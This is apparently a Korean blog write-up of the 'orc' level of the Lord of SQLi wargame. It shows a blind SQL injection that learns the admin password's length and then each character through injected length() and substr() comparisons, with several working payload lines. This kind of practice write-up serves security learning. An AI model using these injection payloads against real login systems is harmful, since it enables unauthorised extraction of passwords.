[LOS] 4번 orc 풀이

2019. 7. 29. 19:21문제풀이/los.rubiya.kr

GET 방식으로 pw만 받고, 금지문자열은 prob _ . () 이다.

이번 solve 조건은 result['pw']가 존재해야 하고, 그 result['pw']가 실제 GET방식으로 받은 pw와 같아야 한다는 것!

즉, 실제 비밀번호를 알아내야 한다는 것이다.

los에서는 앞으로도 계속 이런 유형의 문제가 자주 출제될 텐데, 우리가 사용할 방법은 바로 brute-force attack이다

즉, 때려맞추기 ㅎㅎㅎㅎ모든 값들을 다 넣어보는 방법이다.

이 문제를 풀기위해 los에서 제시한 힌트는 바로 첫번째 단락의 맨 마지막 줄,

if($result['id']) echo "<h2>Hello admin</h2>";

이다.

쿼리문이 참이면 Hello admin을 출력해주므로 매우매우 중요한 힌트!

이런식으로 참과 거짓을 통하여 DB의 정보를 얻어내는 방법을 Blind SQL이라고 한다.

Blind SQL 방법으로 brute-force attack을 할 때, 진행 방법은 간단하다.

  1. 비밀번호 길이 알아내기

    length 함수 사용

    length(pw) // pw의 글자수 반환
  2. 비밀번호를 한글자씩 맞춰보기

    substr, left, mid, right 사용

    substr(pw,3,2) // pw의 세번째글자부터 총 2개의 글자를 반환 
    left(pw,2) // pw의 맨 왼쪽글자부터 총 2개의 글자를 반환 
    mid(pw,3,2) // substr과 같음 
    right(pw,4) // pw의 맨 오른쪽 글자부터 총 4개의 글자를 반환

그럼 다시 문제로 돌아가서, 비밀번호의 글자수를 먼저 알아보자

pw의 글자수가 어느정도인지 몰라, 아래와 같은 쿼리로 점점 범위를 좁혀 보았다

select id from prob_orc where id='admin' and pw='or (id='admin' and length(pw)<10)--
select id from prob_orc where id='admin' and pw='or (id='admin' and length(pw)<5)--
select id from prob_orc where id='admin' and pw='or (id='admin' and length(pw)<8)--
select id from prob_orc where id='admin' and pw='or (id='admin' and length(pw)=8)--

당연히 --뒤에는 공백 포함이다.

주의할점은 id='admin'을 꼭 넣어야한다는거! 만약 db 안에 id='admin' 외의 레코드가 많으면 우리가 원하는 값을 정확히 알아낼 수 없다.

or 뒤에는 어차피 and만 있고 or이 또 없으니 ()로 안묶어도 되지만, 보기 편하라고 묶어뒀다.

결론적으로, 첫번째 미션인 '비밀번호 길이 알아내기'는 비밀번호 길이가 8인걸 알아냈으므로 클리어!

마찬가지로 비밀번호를 알아내고자 한다.

비밀번호가 키보드에 있는 특수문자+숫자+영어라는 가정 하에 다음과 같이 아스키코드값으로 비교해보았다.

select id from prob_orc where id='admin' and pw='or (id='admin' and substr(pw,1,1)<0x3a)--
// 참이면 첫 글자는 영어가 아님
select id from prob_orc where id='admin' and pw='or (id='admin' and substr(pw,1,1)<0x35)--
select id from prob_orc where id='admin' and pw='or (id='admin' and substr(pw,1,1)<0x30)--
// 참이면 첫 글자는 숫자
select id from prob_orc where id='admin' and pw='or (id='admin' and substr(pw,1,1)=0x30)--
// 0x30 또는 문자 0

같은 방법으로 비밀번호 8글자를 모두 알아낼 수 있다.

주의할 점

답에 영문자가 포함되어있는데, mysql의 경우 대문자와 소문자를 구분하지 않으므로(대부분의 dbms가 그렇다)
답이 안풀리면 대소문자를 변환해보자!

 

앞으로도 brute-force attack으로 풀어야 하는 문제가 많으므로 파이썬으로 자동화해보자!

맨처음으로 코드를 짤 때엔 많이 힘들었는데, 파이썬 버전이 바뀌면서 urllib2가 없어졌기 때문 ㅠㅠ

사람들마다 코드도 다 다르고 다 안돼서 힘들었다..

그래서 라이브러리 내에 무슨 함수가 있는지 찾아보면서 짰는데, 파이썬 자체를 거의 모르는 상태였어서 힘들었다.

하지만 한 번 만들어두면 앞으로도 계속 쓸 수 있고, 이진탐색 등의 알고리즘을 사용하면 훨씬 속도도 빠르다는거

+

원래 자바스크립트 이용해서 쿠키는 document.cookie로, 브라우저는 navigator.userAgent로 알아냈었는데 이제 los 패치돼서 자바스크립트로는 쿠키 알아내기 어렵다고 한다.. EditThisCookie를 이용하자!

'문제풀이 > los.rubiya.kr' 카테고리의 다른 글

[LOS] 6번 darkelf 풀이  (0) 2019.07.29
[LOS] 5번 wolfman 풀이  (0) 2019.07.29
[LOS] 3번 goblin 풀이  (0) 2019.07.29
[LOS] 2번 cobolt 풀이  (0) 2019.07.29
[LOS] 회원가입 + 1번 Goblin 풀이  (0) 2019.07.29